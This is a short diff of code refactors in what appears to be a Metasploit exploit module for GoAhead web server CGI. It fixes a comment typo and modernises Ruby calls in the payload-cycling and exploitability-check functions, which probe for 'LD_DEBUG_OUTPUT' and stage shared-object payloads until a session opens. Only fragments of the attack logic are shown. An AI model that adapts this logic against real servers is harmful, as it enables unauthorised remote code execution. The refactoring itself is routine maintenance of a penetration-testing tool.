@@ -174,7 +174,7 @@ def cycle_possible_payloads
174
174
end
175
175
end
176
176
177
- # Remove any duplicates that mau have snuck in
177
+ # Remove any duplicates that may have snuck in
178
178
template_list . uniq!
179
179
180
180
# Cycle through each top-level platform we know about
@@ -185,7 +185,7 @@ def cycle_possible_payloads
185
185
186
186
187
187
wrapper_path = ::File . join ( template_base , "goahead-cgi-#{ template_type } -#{ t_plat } -#{ t_arch } .so.gz" )
188
- if ! ::File . exists ?( wrapper_path )
188
+ unless ::File . exist ?( wrapper_path )
189
189
raise RuntimeError . new ( "Missing executable template at #{ wrapper_path } " )
190
190
end
191
191
@@ -217,7 +217,7 @@ def cycle_possible_payloads
217
217
yield ( data )
218
218
219
219
# Introduce a small delay for the payload to stage
220
- sleep ( 0.50 )
220
+ Rex . sleep ( 0.50 )
221
221
222
222
# Short-circuit once we have a session
223
223
return if session_created?
@@ -378,14 +378,14 @@ def is_cgi_exploitable?(uri)
378
378
vprint_status ( "Request for #{ uri } did not return a response" )
379
379
end
380
380
381
- !!( res && res . body && res . body . to_s . index ( "LD_DEBUG_OUTPUT" ) )
381
+ !!( res && res . body && res . body . to_s . include? ( "LD_DEBUG_OUTPUT" ) )
382
382
end
383
383
384
384
# This sometimes determines if the CGI module is enabled, but doesn't seem
385
385
# to return the error to the client in newer versions. Unused for now.
386
386
def is_cgi_enabled?
387
387
return true
388
388
res = send_request_cgi ( { 'uri' => "/cgi-bin" } )
389
- !!( res && res . body && res . body . to_s . index ( "Missing CGI name" ) )
389
+ !!( res && res . body && res . body . to_s . include? ( "Missing CGI name" ) )
390
390
end
391
391
end
0 commit comments